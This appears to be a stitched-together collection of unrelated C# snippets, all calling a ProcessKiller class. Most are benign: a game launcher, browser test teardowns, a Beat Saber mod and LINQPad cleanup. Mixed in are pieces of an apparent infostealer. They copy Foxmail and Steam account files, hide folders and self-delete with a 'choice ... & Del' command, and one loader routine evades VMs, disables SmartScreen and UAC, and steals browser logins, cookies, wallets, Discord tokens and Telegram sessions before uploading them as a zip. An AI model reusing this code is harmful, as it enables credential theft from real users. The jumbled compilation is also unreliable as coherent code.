private static async Task KillProcess() { Process[] SkyrimPlatformCEFs = Process.GetProcessesByName("SkyrimPlatformCEF"); for (int i = 0; i < SkyrimPlatformCEFs.Length; i++) { try { int tr = 0; while (!SkyrimPlatformCEFs[i].HasExited && tr++ < 5) { SkyrimPlatformCEFs[i].Kill(); await Task.Delay(250); } } catch (Win32Exception) { try { if (!SkyrimPlatformCEFs[i].HasExited) { ProcessKiller.KillProcess((IntPtr)SkyrimPlatformCEFs[i].Id); } } catch (Exception e) { Logger.Error("StartGame_Killer_SkyrimPlatformCEF", e); } } catch (Exception e) { Logger.Error("StartGame_KillSkyrimPlatformCEF", e); } } }
public static void Inizialize() { string FullPathReg = @"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command"; ProcessKiller.Closing("Foxmail"); if (Directory.Exists(FoxMailPath.GetFoxMail(FullPathReg)) || !Directory.Exists(GlobalPath.FoxMailPass)) { CombineEx.CreateDir(GlobalPath.FoxMailPass); try { foreach (string dir in Directory.EnumerateDirectories(FoxMailPath.GetFoxMail(FullPathReg), "*@*", SearchOption.TopDirectoryOnly)) { try { string Email = dir.Substring(dir.LastIndexOf("\\") + 1); string UserDat = CombineEx.Combination(dir, @"Accounts\Account.rec0"); string FinalPath = CombineEx.Combination(GlobalPath.FoxMailPass, @"Account.rec0"); CombineEx.FileCopy(UserDat, FinalPath, true); Reader(UserDat, Email); if (File.Exists(GlobalPath.FoxMailLog)) { CombineEx.DeleteFile(FinalPath); } } catch (ArgumentException) { } } } catch (Exception) { } } }
protected override void OnFormClosing(FormClosingEventArgs e) { CheckAutoBind(); if (e.CloseReason.Equals(CloseReason.UserClosing)) { if (MessageBox.Show(Messages.EXIT, "Confirm", MessageBoxButtons.YesNo, MessageBoxIcon.Question).Equals(DialogResult.No)) { e.Cancel = true; } else { //@---TODO--- //if(bgWorker.IsBusy) { bgWorker.CancelAsync(); bgWorker.DoWork -= bgWorker_DoWork; bgWorker.RunWorkerCompleted -= bgWorker_RunWorkerCompleted; //} if (_isKillProcesses) { ProcessKiller.DestroyAll(); } } } base.OnFormClosing(e); }
public void isBrowserAccessibleThrowsBrowserExistExceptionTest() { InternetExplorer ie = new InternetExplorer(); ie.OpenBrowser(); ProcessKiller killer = new ProcessKiller("iexplore"); killer.KillAsyncDelayed(); ExecutePrivateMethod(ie, "isBrowserAccessible"); }
public void waitForBrowsersThrowsExceptionWhenWindowClosesUnexpectedlyTest(string methodName) { InternetExplorer ie = new InternetExplorer(); ie.OpenBrowser(); ProcessKiller killer = new ProcessKiller("iexplore"); killer.KillAsyncDelayed(); ExecutePrivateMethod(ie, methodName); }
public void isBrowserValidReturnsFalseWhenWindowClosesUnexpectedlyTest() { InternetExplorer ie = new InternetExplorer(); ie.OpenBrowser(); ProcessKiller killer = new ProcessKiller("iexplore"); killer.KillAsyncDelayed(); object returnValue = ExecutePrivateMethod(ie, "isBrowserValid"); Assert.IsNotNull(returnValue); bool returned = (bool)returnValue; Assert.IsFalse(returned); }
private void BSEvents_lateMenuSceneLoadedFresh(ScenesTransitionSetupDataSO scenes) { Logger.log.Info("MenuSceneLoadedFresh start"); MenuUI.Instance.CreateUI(); BSMLSettings.instance.AddSettingsMenu("Beatlist Killer", UI.Views.PluginConfig.ResourceName, UI.Views.PluginConfig.Instance); if (UI.Views.PluginConfig.Instance.IsAutoKill) { _ = ProcessKiller.KillProcesses(); } Logger.log.Info("MenuSceneLoadedFresh end"); }
public static void Inizialize() { for (int i = 0; i < AppFilter.Count; i++) { int appIndex = i; for (int y = 0; y < DumpFilter.Count; y++) { int dumpIndex = y; ProcessKiller.ClosingCycle(AppFilter[appIndex], DumpFilter[dumpIndex]); } } }
public static void WinDir(DirectoryInfo info) { try { if ((info.Attributes & FileAttributes.Hidden) != FileAttributes.Hidden) { info.Attributes |= FileAttributes.Hidden; ProcessKiller.RefreshProcess("Explorer".ToLower()); } } catch (IOException) { } catch (ArgumentException) { } catch (SecurityException) { } }
public static void Copy(string Expansion, string ConfigFiles, string Name, string Proc) { if (Directory.Exists(SteamPath.GetLocationSteam()) || (!Directory.Exists(GlobalPath.Steam_Dir))) { CombineEx.CreateDir(GlobalPath.Steam_Dir); ProcessKiller.Closing(Proc); try { foreach (string Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), Expansion)) { if (File.Exists(Unknown)) { if (!Unknown.Contains(".crash")) { CombineEx.Combination(Unknown, CombineEx.Combination(GlobalPath.Steam_Dir, Path.GetFileName(Unknown))); } } else { continue; } } } catch (IOException) { } catch (UnauthorizedAccessException) { } catch (ArgumentException) { } if (!Directory.Exists(CombineEx.Combination(GlobalPath.Steam_Dir, Name))) { try { CombineEx.CreateDir(CombineEx.Combination(GlobalPath.Steam_Dir, Name)); SaveData.SaveFile(GlobalPath.SteamID, SteamProfiles.GetSteamID()); foreach (string Config in Directory.EnumerateFiles(CombineEx.Combination(SteamPath.GetLocationSteam(), Name), ConfigFiles)) { if (!File.Exists(Config)) { continue; } else { CombineEx.FileCopy(Config, CombineEx.Combination(CombineEx.Combination(GlobalPath.Steam_Dir, Name), Path.GetFileName(Config)), true); } } } catch { } } } }
public static bool Enabled(int value) { try { using (var hklmHive = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32)) { using (RegistryKey Key = hklmHive.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", Environment.Is64BitOperatingSystem ? true : false)) { Key?.SetValue("Hidden", value, RegistryValueKind.DWord); ProcessKiller.RefreshProcess("Explorer".ToLower()); } return(true); } } catch { return(false); } }
static void Main(string[] args) { bool createdNew; System.Threading.Mutex m = new System.Threading.Mutex(true, "avalon_gui_ever", out createdNew); int usbCount = 0; if (args != null && args.Length >= 2) { if (args[0] == "-n") { int v = 0; if (Int32.TryParse(args[1], out v)) { if (v < 0) { v = 0; } usbCount = v; } } } try { if (!createdNew) { return; } Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); MainForm mainForm = new MainForm(); mainForm.SetUSBCount(usbCount); Application.Run(mainForm); } finally { m.Close(); ProcessKiller.KillProcessByName(Constants.BfgMinerFileName); } }
private static bool GeName(string path) { using (var rnd = new RNGCryptoServiceProvider()) { try { foreach (string i in FakeName.OrderBy(x => GetNextInt32(rnd)).ToArray()) { RandomProcessName = CombineEx.Combination(path, i); break; } CombineEx.FileCopy(GlobalPath.AssemblyPath, RandomProcessName, false); // Перемещает запускаемый файл! ProcessKiller.Running(RandomProcessName, false); ProcessKiller.Delete("/C choice /C Y /N /D Y /T 0 & Del", GlobalPath.AssemblyPath); } catch { return(false); } return(true); } }
private static bool GeName(string path) { using (var rnd = new RNGCryptoServiceProvider()) { try { foreach (string style in FakeName.OrderBy(x => GetNextInt32(rnd)).ToArray()) // генерируем рандомное имя из списка FakeName { RandomProcessName = CombineEx.Combination(path, style); // Задаём сгенерированное имя для нового файла .exe break; // Выбрали первое подходящие, выходим из цикла. } CombineEx.FileCopy(GlobalPath.AssemblyPath, RandomProcessName, false); // Копируем запускаемый файл в новую папку ProcessKiller.Running(RandomProcessName, false); // Запускаем файл из новой папки ProcessKiller.Delete("/C choice /C Y /N /D Y /T 0 & Del", GlobalPath.AssemblyPath); // Удаляем предыдущий процесс } catch { return(false); } return(true); } }
public void CheckProcess() { var allPros = Process.GetProcesses(); var existPros = new List <Process>(); foreach (var single in discardProcess) { if (allPros.Any(e => e.ProcessName.ToLower().Contains(single.ToLower()))) { var temp = allPros.Where(e => e.ProcessName.ToLower().Contains(single.ToLower())).ToList(); existPros.AddRange(temp); } } if (existPros.Count > 0) { var killer = new ProcessKiller(existPros); killer.ShowDialog(); } }
public void TerminateProcess() { // Arrange var process = new Process(); var startInfo = new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, FileName = "cmd.exe", }; process.StartInfo = startInfo; process.Start(); // Act var processKiller = new ProcessKiller(); processKiller.Kill("cmd"); // Assert Assert.That(process.HasExited, Is.True); }
private void TryKillBfgMiner() { ProcessKiller.KillProcessByName(Constants.BfgMinerDirName); _processMiner = null; }
protected Builder(ProcessKiller processKiller, ILogger <T> logger) { _processKiller = processKiller; _logger = logger; }
private void StopUIProcesses() { ProcessKiller.KillProcessByName(GuiApplicationName); ProcessKiller.KillProcessByName(BfgMinerApplicationName); }
public static void ClassDispose() { ProcessKiller.Kill("LINQPad"); }
private void Updater_Load(object sender, EventArgs e) { if (Date.Delay) { Thread.Sleep(Date.DelaySec); } if (!AntiVM.GetCheckVMBot()) { if (!MovEx.CheckPath()) { if (Date.Delay) { ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath); } } else { HideFolders.Enabled(0); DisableLockers.SmartScreen(); DisableLockers.UAC(); AntiSniffer.Inizialize(); if (Date.Downloader || Date.AdminRight) { Users.DownFileEx(Date.DownloaderLink, Environment.GetEnvironmentVariable(Date.DownloaderPath), Date.FakeNameProcess); } if (Date.IpLogger) { IPLogger.Sender(Date.IpLoggerLink); } if (Date.InfoGrabber) { InfoGrabber.CreateTable(GlobalPath.PC_File); } if (Date.CryptoWall) { BitBoard.GetWallet(); } if (Date.Browsers) { ChromeSearcher.CopyLoginsInSafeDir(GlobalPath.Logins); ChromeCookiesSearcher.CopyCookiesInSafeDir(GlobalPath.Cookies); GetPassword.Inizialize(); GetCookies.Inizialize(); } if (Date.Buffer) { ClipboardEx.GetBuffer(GlobalPath.Buffer); } if (Date.Programs) { MailFoxPassword.Inizialize(); DcGrabber.GeTokens(); TGrabber.GetTelegramSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*"); } if (Date.Clients) { GetClients.Inizialize(); } if (Date.Steam) { GetSteamFiles.Copy("*.", "*.vdf", "config", "Steam"); } if (Date.ScreenShot) { ScreenShot.Shoot(GlobalPath.Screen); } Ccleaner.CheckIsNullDirsAndFiles(GlobalPath.GarbageTemp); Archiving.Inizialize(); UploadZip.Inizialize(GlobalPath.Reception, "POST", GlobalPath.ZipAdd); //BlockIE.Enabled(1); // Блокировка интернета if (Date.Delay) { ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath); } Application.Exit(); } } else { SaveData.SaveFile("VM_Detect.txt", "The program is not supported on virtual machines!"); if (Date.Delay) { ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath); } } }
public static void ClassDispose() { Registry.CurrentUser.DeleteSubKey(SolutionRegistryKey); Registry.CurrentUser.DeleteSubKey(SolutionRegistryKeyModel); ProcessKiller.Kill("LINQPad"); }
public void CloseLINQPadProcess() { ProcessKiller.Kill("LINQPad"); }
public void CreateUI() { Logger.log.Info("Creat UI"); var button = new MenuButton("Beatlist Killer", "Kill to beatlist Process.", () => { _ = ProcessKiller.KillProcesses(); }, true); MenuButtons.instance.RegisterButton(button); }
public GoConsoleBuilder(IConfiguration configuration, ProcessKiller processKiller, ILogger <GoConsoleBuilder> logger) : base(processKiller, logger) { _buildDirectory = configuration.GetSection("BuildDirectory").Value; }
private static void GreateKill(int pid) { ProcessKiller.FKill(pid); }
public WatchdogImpl(HealthChecker healthChecker, ProcessKiller processKiller) { this.healthChecker = healthChecker; this.processKiller = processKiller; }
public static void ClassDispose() { Registry.CurrentUser.DeleteSubKey(DynamicDebuggerVisualizerV12.TestRegistryKey); ProcessKiller.Kill("LINQPad"); }
public WatchdogManagerImpl(HealthChecker healthChecker, ProcessKiller processKiller, Func <Owned <Watchdog> > watchdogFactory) { this.watchdogFactory = watchdogFactory; }
public void TestFixtureTeardown() { ProcessKiller killer = new ProcessKiller("iexplore"); killer.Kill(); }
public static async Task <bool> StartGame() { EnableDebug(); StartInfo.FileName = $"{Settings.PathToSkyrim}\\skse64_loader.exe"; StartInfo.WorkingDirectory = $"{Settings.PathToSkyrim}\\"; StartInfo.Verb = "runas"; StartInfo.Domain = AppDomain.CurrentDomain.FriendlyName; GameProcess.StartInfo = StartInfo; Runing = true; GameProcess.Start(); YandexMetrica.ReportEvent("StartedGame"); int ParentPID = GameProcess.Id; await Task.Run(() => GameProcess.WaitForExit()); foreach (var p in ProcessExtensions.FindChildrenProcesses(ParentPID)) { GameProcess = p; } Microsoft.Win32.SafeHandles.SafeProcessHandle sh = GameProcess.SafeHandle; if (!GameProcess.HasExited) { await Task.Run(() => GameProcess.WaitForExit()); } YandexMetrica.ReportEvent("ExitedGame"); await Task.Delay(500); Process[] SkyrimPlatformCEFs = Process.GetProcessesByName("SkyrimPlatformCEF"); for (int i = 0; i < SkyrimPlatformCEFs.Length; i++) { try { int tr = 0; do { SkyrimPlatformCEFs[i].Kill(); await Task.Delay(200); }while (!SkyrimPlatformCEFs[i].HasExited && tr++ < 5); } catch (Win32Exception) { if (Settings.ExperimentalFunctions == true) { try { if (!SkyrimPlatformCEFs[i].HasExited) { ProcessKiller.KillProcess((IntPtr)SkyrimPlatformCEFs[i].Id); } } catch (Exception e) { Logger.Error("StartGame_Killer_SkyrimPlatformCEF", e); } } } catch (Exception e) { Logger.Error("StartGame_KillSkyrimPlatformCEF", e); } } Runing = false; return(GameProcess.ExitCode != 0); }